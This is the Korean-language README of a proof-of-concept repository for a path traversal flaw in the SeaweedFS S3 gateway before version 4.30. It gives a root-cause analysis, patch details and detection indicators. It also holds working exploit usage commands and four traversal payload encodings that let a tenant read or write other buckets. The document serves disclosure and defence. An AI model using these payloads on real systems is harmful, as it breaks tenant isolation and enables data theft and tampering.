
CVE-2026-54917에 대한 PoC + 분석 — SeaweedFS S3 게이트웨이의 버킷 간 경로 탐색 취약점 (CVSS 10.0, <4.30). 객체 키의 ..를 통해 모든 버킷을 읽거나 쓸 수 있습니다.
CVE-2026-54917에 대한 개념 증명(PoC) 및 기술 문서입니다. SeaweedFS S3 API 게이트웨이의 경로 탐색(path traversal) 취약점으로, 호출자가 자격 증명이 허용하는 범위와 관계없이 모든 버킷의 객체에 접근할 수 있게 합니다.
| CVE | CVE-2026-54917 |
| 보안 권고 | GHSA-w62w-66v9-vvgv |
| 제품 | SeaweedFS — S3 API 게이트웨이 (weed s3, 및 weed server의 S3 엔드포인트) |
| 영향받는 버전 | < 4.30 |
| 패치 버전 | 4.30 |
| 취약점 유형 | CWE-22 — 제한된 디렉터리의 경로명에 대한 부적절한 제한 |
| 심각도 | 10.0 치명적 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| 상태 | 취약점 확인됨 — 4.29 · 패치됨 — 4.30 (엔드투엔드 검증 완료) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
S3 API 라우터는 mux.NewRouter().SkipClean(true)로 구성됩니다. 경로 정리(path cleaning)가 비활성화되면 요청 경로 안의 .. 세그먼트는 라우팅 과정에서 살아남습니다. 예를 들어 다음과 같은 요청이 있다고 가정합니다:
GET /bucket-a/../evil-bucket/secret.txt
mux 라우트에서 {bucket} = "bucket-a", {object} = "../evil-bucket/secret.txt"로 매칭됩니다.
그 다음 두 가지가 분기됩니다:
{bucket} 변수 — bucket-a — 를 기준으로 실행되며, 호출자는 이 버킷을 사용할 수 있습니다.bucketDir(bucket) + "/" + object)에 결합하고, filer가 서버 측에서 ..을 접어(collapse) 실제 읽기/쓰기는 **evil-bucket**에 도달합니다.결과는 전형적인 혼동된 대리자(confused deputy) 문제입니다. IAM은 한 버킷을 검사하지만 파일 시스템은 다른 버킷에서 동작합니다. 단일 버킷에만 권한이 부여된 주체(principal)는 인스턴스의 다른 모든 버킷에 있는 객체를 읽고 쓸 수 있습니다.
enableAuth = false — 인증 없는 직접적인 버킷 간 읽기/쓰기.enableAuth = true — 권한 검사 혼동 대리자(confused deputy): 인증된 모든 주체(모든 테넌트)는 권한이 부여되지 않은 버킷 경계를 넘어 읽고 쓸 수 있습니다. 이것이 여기서 시연된 사례이며, 10.0 / 범위 변경(scope-changed) 점수의 이유입니다. 한 테넌트의 자격 증명이 다른 모든 테넌트의 격리를 깨뜨립니다.exploit.py는 Python 표준 라이브러리만 사용합니다. 각 요청을 자체적으로 SigV4로 서명하고 요청 라인을 바이트 단위 그대로 작성하므로 탐색 경로가 수정되지 않은 채 서버에 도달합니다. 이것이 일반 S3 SDK가 다시 인코딩해 버릴 URL 인코딩 변형을 가능하게 하는 이유입니다.
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
네 가지 탐색 인코딩이 구현되어 있으며 4.29에서 모두 확인되었습니다:
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
랩 환경은 IAM(lab/s3.json)을 활성화하며 두 개의 자격 증명(identity)이 있습니다: admin(전체 권한)과 tenant-a(bucket-a로 제한). 모든 익스플로잇은 tenant-a의 자격 증명만 사용합니다. 전체 기록은 EVIDENCE.txt를 참조하세요.
ANALYSIS.md를 참조하세요. 요약하자면: SkipClean(true)는 라우팅된 경로에 ..을 유지하고, GetBucketAndObject는 원시 mux 변수를 캡처하며, IAM은 {bucket}을 기준으로 권한을 확인합니다. toFilerPath는 여전히 ..을 포함하는 {object}를 filer 경로에 결합하고, 그 경로에서 ..이 접혀 버킷 경계를 넘어가게 됩니다.
4.30에서 패치되었습니다 (patch-4.30.diff). validateRequestPath 미들웨어가 버킷 핸들러보다 먼저 실행되며, 캡처된 {bucket} / {object} 변수가 비어 있거나 탐색 세그먼트를 포함하면 요청을 거부하고 400 InvalidRequest를 반환합니다. 4.30 이상으로 업그레이드하세요.
/../, /%2e%2e, ..%2f 또는 ..%5c가 포함된 모든 S3 요청.Caio Fabrício — github.com/BiiTts
| 변형 | 전송 형태 | 효과 |
|---|
dotdot | /bucket-a/../evil-bucket/key | 기본 aws-cli에서도 동작 |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | 원시 요청 필요 (SDK가 재인코딩) |
enc-slash | /bucket-a/..%2fevil-bucket/key | 원시 요청 필요 |
enc-backslash | /bucket-a/..%5cevil-bucket/key | \는 서버 측에서 /로 변환됨 |